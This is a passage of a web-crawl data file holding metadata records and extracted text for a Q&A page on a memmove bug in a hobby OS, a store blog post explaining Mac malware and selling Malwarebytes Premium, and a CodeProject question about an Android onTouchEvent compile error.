3495,
3496,
3535,
3536,
3564,
3565,
3571,
3572,
3596,
3597,
3630,
3631,
3660,
3661,
3676,
3677,
3679,
3680,
3721,
3722,
3724,
3725,
3744,
3745,
3781,
3782,
3795,
3796,
3828,
3829,
3831,
3832,
3866,
3867,
3902,
3903,
3934,
3935,
3960,
3961,
3972,
3973,
3983,
3984,
3986,
3988,
3989,
4024,
4025,
4059,
4060,
4096,
4097,
4137,
4138,
4165,
4166,
4206,
4207,
4230,
4231,
4233,
4235,
4236,
4271,
4272,
4301,
4302,
4337,
4338,
4369,
4370,
4406,
4407,
4438,
4439,
4476,
4477,
4507,
4508,
4530,
4531,
4564,
4565,
4578,
4579,
4595,
4596,
4609,
4610,
4640,
4641,
4667,
4668,
4697,
4698,
4709,
4710,
4743,
4744,
4749,
4750,
4766,
4767,
4770,
4771,
4808,
4809,
4844,
4845,
4877,
4878,
4892,
4893,
4925,
4926,
4958,
4959,
4969,
4970,
4997,
4998,
5019,
5020,
5030,
5031,
5054,
5055,
5069,
5070,
5104,
5105,
5145,
5146,
5179,
5180,
5216,
5217,
5245,
5246,
5259,
5260,
5290,
5291,
5320,
5321,
5343,
5344,
5369,
5370,
5380,
5381,
5406,
5407,
5412,
5413,
5445,
5446,
5449,
5450,
5481,
5482,
5493,
5494,
5529,
5530,
5565,
5566,
5599,
5600,
5623,
5624,
5658,
5659,
5675,
5676,
5685,
5686,
5720,
5721,
5753,
5754,
5786,
5787,
5793,
5794,
5819,
5820,
5852,
5853,
5885,
5886,
5913,
5914,
5947,
5948,
5958,
5959,
6025,
6026,
6050,
6051,
6075,
6076,
6107,
6108,
6145,
6146,
6166,
6167,
6178,
6179,
6181,
6217,
6218,
6243,
6244,
6266,
6267,
6286,
6287,
6300,
6301,
6346,
6347,
6353,
6354,
6378,
6379,
6393,
6394,
6425,
6426,
6434,
6435,
6437,
6438,
6464,
6465,
6501,
6502,
6516,
6517,
6549,
6550,
6566,
6567,
6590,
6591,
6595,
6596,
6607,
6608,
6719,
6720,
6766,
6767,
6786,
6787,
6807,
6808,
6838,
6839,
6862,
6863,
6885,
6886,
6889,
6890,
6901,
6902,
6970,
6971,
6984,
6985
],
"line_end_idx": [
33,
34,
70,
71,
81,
82,
85,
86,
163,
164,
192,
193,
212,
213,
226,
227,
229,
230,
276,
277,
323,
324,
328,
329,
344,
345,
534,
535,
540,
541,
551,
552,
572,
573,
592,
593,
612,
613,
662,
663,
699,
700,
729,
730,
750,
751,
779,
780,
818,
819,
848,
849,
869,
870,
895,
896,
932,
933,
970,
971,
992,
993,
1014,
1015,
1044,
1045,
1071,
1072,
1099,
1100,
1134,
1135,
1169,
1170,
1182,
1183,
1207,
1208,
1213,
1214,
1219,
1220,
1222,
1223,
1226,
1227,
1232,
1233,
1236,
1237,
1242,
1243,
1249,
1250,
1256,
1257,
1259,
1260,
1263,
1264,
1295,
1296,
1324,
1325,
1357,
1358,
1387,
1388,
1414,
1415,
1445,
1446,
1463,
1464,
1496,
1497,
1507,
1508,
1518,
1519,
1535,
1536,
1556,
1557,
1584,
1585,
1616,
1617,
1625,
1626,
1662,
1663,
1698,
1699,
1733,
1734,
1769,
1770,
1800,
1801,
1838,
1839,
1866,
1867,
1893,
1894,
1926,
1927,
1958,
1959,
1996,
1997,
2032,
2033,
2066,
2067,
2098,
2099,
2128,
2129,
2160,
2161,
2168,
2169,
2207,
2208,
2239,
2240,
2271,
2272,
2308,
2309,
2344,
2345,
2384,
2385,
2420,
2421,
2461,
2462,
2501,
2502,
2514,
2515,
2546,
2547,
2579,
2580,
2611,
2612,
2636,
2637,
2664,
2665,
2695,
2696,
2722,
2723,
2753,
2754,
2756,
2757,
2787,
2788,
2819,
2820,
2838,
2839,
2841,
2842,
2852,
2853,
2883,
2884,
2897,
2898,
2900,
2901,
2937,
2938,
2973,
2974,
3002,
3003,
3040,
3041,
3069,
3070,
3109,
3110,
3147,
3148,
3150,
3166,
3167,
3183,
3184,
3219,
3220,
3249,
3250,
3282,
3283,
3320,
3321,
3332,
3333,
3361,
3362,
3394,
3395,
3427,
3428,
3466,
3467,
3495,
3496,
3535,
3536,
3564,
3565,
3571,
3572,
3596,
3597,
3630,
3631,
3660,
3661,
3676,
3677,
3679,
3680,
3721,
3722,
3724,
3725,
3744,
3745,
3781,
3782,
3795,
3796,
3828,
3829,
3831,
3832,
3866,
3867,
3902,
3903,
3934,
3935,
3960,
3961,
3972,
3973,
3983,
3984,
3986,
3988,
3989,
4024,
4025,
4059,
4060,
4096,
4097,
4137,
4138,
4165,
4166,
4206,
4207,
4230,
4231,
4233,
4235,
4236,
4271,
4272,
4301,
4302,
4337,
4338,
4369,
4370,
4406,
4407,
4438,
4439,
4476,
4477,
4507,
4508,
4530,
4531,
4564,
4565,
4578,
4579,
4595,
4596,
4609,
4610,
4640,
4641,
4667,
4668,
4697,
4698,
4709,
4710,
4743,
4744,
4749,
4750,
4766,
4767,
4770,
4771,
4808,
4809,
4844,
4845,
4877,
4878,
4892,
4893,
4925,
4926,
4958,
4959,
4969,
4970,
4997,
4998,
5019,
5020,
5030,
5031,
5054,
5055,
5069,
5070,
5104,
5105,
5145,
5146,
5179,
5180,
5216,
5217,
5245,
5246,
5259,
5260,
5290,
5291,
5320,
5321,
5343,
5344,
5369,
5370,
5380,
5381,
5406,
5407,
5412,
5413,
5445,
5446,
5449,
5450,
5481,
5482,
5493,
5494,
5529,
5530,
5565,
5566,
5599,
5600,
5623,
5624,
5658,
5659,
5675,
5676,
5685,
5686,
5720,
5721,
5753,
5754,
5786,
5787,
5793,
5794,
5819,
5820,
5852,
5853,
5885,
5886,
5913,
5914,
5947,
5948,
5958,
5959,
6025,
6026,
6050,
6051,
6075,
6076,
6107,
6108,
6145,
6146,
6166,
6167,
6178,
6179,
6181,
6217,
6218,
6243,
6244,
6266,
6267,
6286,
6287,
6300,
6301,
6346,
6347,
6353,
6354,
6378,
6379,
6393,
6394,
6425,
6426,
6434,
6435,
6437,
6438,
6464,
6465,
6501,
6502,
6516,
6517,
6549,
6550,
6566,
6567,
6590,
6591,
6595,
6596,
6607,
6608,
6719,
6720,
6766,
6767,
6786,
6787,
6807,
6808,
6838,
6839,
6862,
6863,
6885,
6886,
6889,
6890,
6901,
6902,
6970,
6971,
6984,
6985,
7004
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 7004,
"ccnet_original_nlines": 530,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.39792612195014954,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.01296176016330719,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.25793907046318054,
"rps_doc_frac_unique_words": 0.30917873978614807,
"rps_doc_mean_word_length": 4.233494281768799,
"rps_doc_num_sentences": 90,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.233027458190918,
"rps_doc_word_count": 1242,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.058767590671777725,
"rps_doc_frac_chars_dupe_6grams": 0.011411179788410664,
"rps_doc_frac_chars_dupe_7grams": 0.011411179788410664,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.02472423017024994,
"rps_doc_frac_chars_top_3gram": 0.01825788989663124,
"rps_doc_frac_chars_top_4gram": 0.011411179788410664,
"rps_doc_books_importance": -631.0408935546875,
"rps_doc_books_importance_length_correction": -631.0408935546875,
"rps_doc_openwebtext_importance": -377.8159484863281,
"rps_doc_openwebtext_importance_length_correction": -377.8159484863281,
"rps_doc_wikipedia_importance": -177.12686157226562,
"rps_doc_wikipedia_importance_length_correction": -177.12686157226562
},
"fasttext": {
"dclm": 0.575190544128418,
"english": 0.9386279582977295,
"fineweb_edu_approx": 1.6869914531707764,
"eai_general_math": 0.8115880489349365,
"eai_open_web_math": 0.6459643840789795,
"eai_web_code": 0.031841158866882324
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "519.2",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Probabilities; or, Mathematical statistics"
}
},
"secondary": {
"code": "372.7",
"labels": {
"level_1": "Social sciences",
"level_2": "Education",
"level_3": "Education, Elementary and Kindergarten"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-2,523,724,891,331,180,500 | Home Ask Login Register
Developers Planet
Your answer is one click away!
ErwinM February 2016
why is memmove garbling first few bytes
I am writing a hobbyOS. I want to copy a small section of memory from 1 spot to another. Somehow my memmove function keeps garbling the first few bytes and only the first few bytes.
This is my memmove function:
void* memmove(void *dst, const void *src, uint32_t n)
{
const char *s;
char *d;
s = src;
d = dst;
if(s < d && s + n > d){
s += n;
d += n;
while(n-- > 0)
*--d = *--s;
} else
while(n-- > 0)
*d++ = *s++;
return dst;
}
I then call the function like so:
char *dest
char *origin
memmove(dest, origin, 100);
When I inspect the memory after (i am using Boschs) I get this odd discrepancy in the first few bytes, everything after is copied as expected:
original at 0x502220:
0x0000000000502220 <bogus+ 0>: 0x50224468 0x223c6800 0x006a0050
copy at 0x0:
0x0000000000000000 <bogus+ 0>: 0x00504460 0x223c6800 0x006a0050
As you can see, only the first 4 bytes are garbled. The rest is copied as expected.
What is causing this behavior?
Answers
chux February 2016
1. Following is UB. Cannot reliably compare with < <= >= > 2 pointers that are not of the same array, object.
if(s < d && s + n > d){
When two pointers are compared, the result depends on the relative locations in the address space of the objects pointed to. If two pointers to object types both point to the same object,... If the objects pointed to are members of the same aggregate object, ... All pointers to members of the same union object ... In all other cases, the behavior is undefined.
C11dr §6.5.8 5 Relational operators
1. It is more canonical to use size_t n rather than uint32_t n.
2. In the below usage, both dest, src are not initialized @Bathsheba delted answer. Based on user info, it appear code attempted to write to address 0. Likely the system prevents that. But it is UB using uninitialized pointers.
char *dest
char *origin
memmove(dest, origin, 100);
ErwinM February 2016
Turned out the memmove was succeeding without faults, but a concurrent (faulty) process was thrashing the first 4 bytes. I should have tested that better.
Thank you for all your answers.
Post Status
Asked in February 2016
Viewed 2,443 times
Voted 7
Answered 2 times
Search
Leave an answer
Quote of the day: live life | {
"url": "http://www.devsplanet.com/question/35270293",
"source_domain": "www.devsplanet.com",
"snapshot_id": "crawl=CC-MAIN-2017-39",
"warc_metadata": {
"Content-Length": "15157",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:X7BGQ2KKSD4AAAFDGNCRU574YNL3O43A",
"WARC-Concurrent-To": "<urn:uuid:88c60216-9210-41cb-baeb-5a3bdc8c57a8>",
"WARC-Date": "2017-09-20T04:01:44Z",
"WARC-IP-Address": "144.172.70.209",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:W3PAKQRZ6PMZCFWZ3IN2BQXMTGKBDJIC",
"WARC-Record-ID": "<urn:uuid:e18a4454-21b3-4270-8696-86e2a71671e9>",
"WARC-Target-URI": "http://www.devsplanet.com/question/35270293",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:aa0f8fce-a667-445a-b137-7d8380adb776>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-227-30-111.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-39\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for September 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
24,
25,
43,
44,
75,
76,
97,
98,
138,
139,
321,
322,
351,
352,
406,
408,
425,
436,
437,
448,
459,
485,
497,
509,
528,
547,
556,
575,
594,
595,
609,
611,
612,
646,
647,
658,
675,
703,
704,
847,
848,
870,
945,
946,
959,
1034,
1035,
1119,
1120,
1151,
1152,
1160,
1161,
1162,
1181,
1182,
1294,
1295,
1323,
1328,
1329,
1692,
1728,
1729,
1795,
1796,
2026,
2027,
2042,
2063,
2095,
2100,
2101,
2102,
2123,
2124,
2279,
2280,
2312,
2313,
2325,
2326,
2349,
2368,
2376,
2393,
2394,
2401,
2402,
2403,
2404,
2405,
2421,
2422,
2423
],
"line_end_idx": [
24,
25,
43,
44,
75,
76,
97,
98,
138,
139,
321,
322,
351,
352,
406,
408,
425,
436,
437,
448,
459,
485,
497,
509,
528,
547,
556,
575,
594,
595,
609,
611,
612,
646,
647,
658,
675,
703,
704,
847,
848,
870,
945,
946,
959,
1034,
1035,
1119,
1120,
1151,
1152,
1160,
1161,
1162,
1181,
1182,
1294,
1295,
1323,
1328,
1329,
1692,
1728,
1729,
1795,
1796,
2026,
2027,
2042,
2063,
2095,
2100,
2101,
2102,
2123,
2124,
2279,
2280,
2312,
2313,
2325,
2326,
2349,
2368,
2376,
2393,
2394,
2401,
2402,
2403,
2404,
2405,
2421,
2422,
2423,
2450
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2450,
"ccnet_original_nlines": 95,
"rps_doc_curly_bracket": 0.002040819963440299,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.32824426889419556,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.015267180278897285,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2862595319747925,
"rps_doc_frac_unique_words": 0.5128204822540283,
"rps_doc_mean_word_length": 4.461538314819336,
"rps_doc_num_sentences": 28,
"rps_doc_symbol_to_word_ratio": 0.005725190043449402,
"rps_doc_unigram_entropy": 4.96387243270874,
"rps_doc_word_count": 390,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.0517241396009922,
"rps_doc_frac_chars_dupe_6grams": 0.0436781607568264,
"rps_doc_frac_chars_dupe_7grams": 0.0436781607568264,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.006896549835801125,
"rps_doc_frac_chars_top_3gram": 0.029885059222579002,
"rps_doc_frac_chars_top_4gram": 0.027586210519075394,
"rps_doc_books_importance": -212.85989379882812,
"rps_doc_books_importance_length_correction": -212.85989379882812,
"rps_doc_openwebtext_importance": -113.39799499511719,
"rps_doc_openwebtext_importance_length_correction": -113.39799499511719,
"rps_doc_wikipedia_importance": -88.82841491699219,
"rps_doc_wikipedia_importance_length_correction": -88.82841491699219
},
"fasttext": {
"dclm": 0.10484325885772705,
"english": 0.894531786441803,
"fineweb_edu_approx": 2.1432406902313232,
"eai_general_math": 0.6442499160766602,
"eai_open_web_math": 0.18333673477172852,
"eai_web_code": 0.25637245178222656
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.22",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "6",
"label": "Indeterminate"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
4,655,539,696,624,964,000 | top of page
Malware, Malwarebytes, and Mac. What you need to Know about Mac Malware
Updated: May 23, 2022
What is Malware?
Malware is defined as malicious software and refers to any software that the user does not want or use on their computer. Malware attempts to steal user data, trick the user into paying money, or use a computer for the needs of the Malware, not the user.
Are there different types of Malware?
In short, yes. The different types of Malware include the following: Viruses, Worms, Trojan Viruses, Spyware, Adware, Ransomware, Fileless Malware, and Potentially Unwanted Programs.
If you would like to read more about Cybersecurity, visit the Malwarebytes website, which goes more in-depth about keeping your computer secure: https://www.malwarebytes.com/cybersecurity
Do Macs get Malware?
Yes, like all computers, Macs are susceptible to Malware infections.
How does Malware get installed on a Mac?
Malware doesn't just "show up." Users have to initiate the installation of the Malware. Installation is primarily started in the form of downloads from the internet. Users believe they are installing a legitimate program, but that is not the case; it is Malware.
Does Mac offer built-in malware protection?
Yes! macOS, by default, does not allow the installation of applications or programs that Apple cannot verify. Apple verifies programs by using certificates signed by developers. These certificates prove who the developer is and the app's intended purpose.
Yes! macOS, by default, comes with malware definitions pre-defined in the XProtect file, which is part of the macOS Gatekeeper software. The XProtect file is checked whenever an application is installed on the Mac. Starting in macOS Catalina 10.15 and newer, the XProtect file checks if the application meets the definitions every time said app is opened. If the application matches the definition, that app is Malware and will not be installed, and a warning is presented to the user stating that the file may "Damage the Mac."
Yes! Starting on macOS Monterey 12.0 and newer, recording alerts are shown in the Mac status bar to indicate when the system uses the camera or microphone. Even if Malware is installed, users will be able to see if the system is using the microphone or camera without their knowledge.
Why do I need Malwarebytes?
Even with macOS's built-in security protections, it is possible to install Malware on Mac unintentionally; even the most advanced users can be susceptible. It takes one misclick, a couple of seconds that the user is distracted while installing an application, or one unintended permission grant, and Malware is installed. These moments are where Malwarebytes premium comes in. Malwarebytes runs background scans to check installed applications and saved files for Malware. These scans run daily on a scheduled basis, and the definitions that catch the Malware are constantly refreshed, so no malware slips past detection.
Where can I purchase Malwarebytes premium?
MacMan offers Malwarebytes premium for $39.99 for a year of premium protection for a single Mac or Computer. If you have multiple Macs, MacMan can provide custom site licenses for any number of Macs or computers at a reduced rate.
You can stop in-store, and we can install and activate Malwarebytes premium--usually within 15 to 30 minutes--depending on if we are installing Malwarebytes on a Desktop or Laptop computer.
Already Have Malwarebytes Free version looking to increase protection? Are you looking to install and activate Malwarebytes without stopping in-store?
Click the button below to visit our Malwarebytes Webpage to purchase a license. We will email you a custom link with directions on how to get Malwarebytes Premium installed and running on your computer.
#Malwarebytes #Mac #Cybersecurity
58 views0 comments
Recent Posts
See All
Free evaluation and estimates on trades and upgrades.
bottom of page | {
"url": "https://www.macmanstore.com/post/malware-malwarebytes-and-mac-what-you-need-to-know",
"source_domain": "www.macmanstore.com",
"snapshot_id": "CC-MAIN-2023-40",
"warc_metadata": {
"Content-Length": "1050491",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:VX6LPVSLJXN37R5UVGAQEIPSKWISNKJO",
"WARC-Concurrent-To": "<urn:uuid:e38fbea3-78e2-4d2d-8fff-f8349c5040b0>",
"WARC-Date": "2023-10-03T20:18:40Z",
"WARC-IP-Address": "34.149.87.45",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:RONQSRKKKJSMIS2C5BAQWQXJBV3DH75W",
"WARC-Record-ID": "<urn:uuid:d1687834-fcf0-4bf0-b204-2ac1e4177c92>",
"WARC-Target-URI": "https://www.macmanstore.com/post/malware-malwarebytes-and-mac-what-you-need-to-know",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:e221d4fc-de4f-4a0b-9f81-b0f18b5de8f7>"
},
"warc_info": "isPartOf: CC-MAIN-2023-40\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September/October 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-82\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
12,
13,
85,
86,
108,
109,
126,
127,
382,
383,
421,
422,
605,
606,
607,
795,
796,
817,
818,
887,
888,
929,
930,
1193,
1194,
1238,
1239,
1495,
1496,
2025,
2026,
2311,
2312,
2340,
2341,
2963,
2964,
3007,
3008,
3239,
3240,
3430,
3431,
3432,
3583,
3584,
3787,
3788,
3789,
3823,
3824,
3843,
3844,
3857,
3858,
3866,
3867,
3921,
3922
],
"line_end_idx": [
12,
13,
85,
86,
108,
109,
126,
127,
382,
383,
421,
422,
605,
606,
607,
795,
796,
817,
818,
887,
888,
929,
930,
1193,
1194,
1238,
1239,
1495,
1496,
2025,
2026,
2311,
2312,
2340,
2341,
2963,
2964,
3007,
3008,
3239,
3240,
3430,
3431,
3432,
3583,
3584,
3787,
3788,
3789,
3823,
3824,
3843,
3844,
3857,
3858,
3866,
3867,
3921,
3922,
3936
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3936,
"ccnet_original_nlines": 59,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.38037633895874023,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0026881699450314045,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1599462330341339,
"rps_doc_frac_unique_words": 0.446601927280426,
"rps_doc_mean_word_length": 5.135922431945801,
"rps_doc_num_sentences": 48,
"rps_doc_symbol_to_word_ratio": 0.0040322598069906235,
"rps_doc_unigram_entropy": 5.074733734130859,
"rps_doc_word_count": 618,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.011027099564671516,
"rps_doc_frac_chars_top_3gram": 0.014177690260112286,
"rps_doc_frac_chars_top_4gram": 0.01449275016784668,
"rps_doc_books_importance": -236.9597625732422,
"rps_doc_books_importance_length_correction": -236.9597625732422,
"rps_doc_openwebtext_importance": -153.66897583007812,
"rps_doc_openwebtext_importance_length_correction": -153.66897583007812,
"rps_doc_wikipedia_importance": -80.97931671142578,
"rps_doc_wikipedia_importance_length_correction": -80.97931671142578
},
"fasttext": {
"dclm": 0.024479510262608528,
"english": 0.8984528183937073,
"fineweb_edu_approx": 1.5212472677230835,
"eai_general_math": 0.10567694902420044,
"eai_open_web_math": 0.09497863054275513,
"eai_web_code": 0.06417489051818848
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.82",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.0285",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "6",
"label": "Promotional/Advertisement"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "2",
"label": "Click Here References"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "17",
"label": "Product Page"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-6,996,015,126,013,970,000 | Click here to Skip to main content
13,085,292 members (56,858 online)
Rate this:
Please Sign up or sign in to vote.
Hi there,
I'm now trying to mastering OpenGL for mobile gaming, so I'll need to ask a boxes of question about it. Here's my current problem now.
Specification :
- android SDK API 6 (android 2.1)
- using command line to create new project, build, and install
- using emulator (AVD) to run program
- Windows 7 Pro SP 1 32x
I'm trying to rotate triangle in my android on touch (onTouchEvent).
Here's my code snippet :
package .....;
import android.app.Activity;
import android.content.Context;
import android.opengl.GLSurfaceView;
import android.os.Bundle;
import android.view.MotionEvent;
import android.view.View;
import javax.microedition.khronos.egl.EGLConfig;
import javax.microedition.khronos.opengles.GL10;
public class segitiga extends Activity{
..
..
..
..
}
class HelloOpenGLES10SurfaceView extends GLSurfaceView {
...
...
...
public HelloOpenGLES10SurfaceView(Context context){
...
...
@Override
public boolean onTouchEvent(MotionEvent e) {
float x = e.getX();
float y = e.getY();
switch (e.getAction()) {
case MotionEvent.ACTION_MOVE:
float dx = x - mPreviousX;
float dy = y - mPreviousY;
// reverse direction of rotation above the mid-line
if (y > getHeight() / 2) {
dx = dx * -1 ;
}
// reverse direction of rotation to left of the mid-line
if (x < getWidth() / 2) {
dy = dy * -1 ;
}
mRenderer.mAngle += (dx + dy) * TOUCH_SCALE_FACTOR;
requestRender();
}
mPreviousX = x;
mPreviousY = y;
return true;
}
}
}
The porblem is when I tried to compile (install debug / adb installd ) to my emulator it's throw me error like this on the line of :
public boolean onTouchEvent(MotionEvent e)
It need ";" after onTouchEvent and after "e". So it should be this like according to the compiler :
public boolean onTouchEvent;(MotionEvent e;)
And that's wrong things.
How should I fixe it?
Thanks in advances
Posted 25-Apr-12 17:08pm
1 solution
Rate this: bad
good
Please Sign up or sign in to vote.
Solution 1
It looks like you are nesting the functions. onTouchEvent() is placed within the function HelloOpenGLES10SurfaceView(). It needs to be placed in a class directly, either the main class, or a nested class.
Permalink
Comments
satrio_budidharmawan 26-Apr-12 5:05am
But it's should be there I thought.
Because its GLSurfaceView's member, if I moved it out, it wont even know requestRender() and some things.
Niklas Lindquist 26-Apr-12 5:11am
In that case, place it outside of HelloOpenGLES10SurfaceView's constructor.
satrio_budidharmawan 26-Apr-12 5:14am
So its classless?
satrio_budidharmawan 26-Apr-12 5:16am
But somehow I tried to separate it onto 3 different files : main, view, and renderer.
And it works like charms, but I still wanted to know what's wrong with my previous version
Niklas Lindquist 26-Apr-12 5:34am
It's not "classless". It should look like:
class HelloOpenGLES10SurfaceView extends GLSurfaceView {
...
public HelloOpenGLES10SurfaceView(Context context){
...
} // end construtor
@Override
public boolean onTouchEvent(MotionEvent e) {
}
} // End class
satrio_budidharmawan 26-Apr-12 5:39am
mRenderer = new HelloOpenGLES10Renderer();
underneath public HelloOpenGLES10SurfaceView(Context context){...}
would be unknown I thought,
This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)
Print Answers RSS
Top Experts
Last 24hrsThis month
Advertise | Privacy |
Web04 | 2.8.170813.1 | Last Updated 26 Apr 2012
Copyright © CodeProject, 1999-2017
All Rights Reserved. Terms of Service
Layout: fixed | fluid
CodeProject, 503-250 Ferrand Drive Toronto Ontario, M3C 3G8 Canada +1 416-849-8900 x 100 | {
"url": "https://www.codeproject.com/Questions/373503/Android-onTouchEvent-error-expected",
"source_domain": "www.codeproject.com",
"snapshot_id": "crawl=CC-MAIN-2017-34",
"warc_metadata": {
"Content-Length": "114048",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:6VAN2HTMFERF5AC7XHJAIYWLHKV2HMAX",
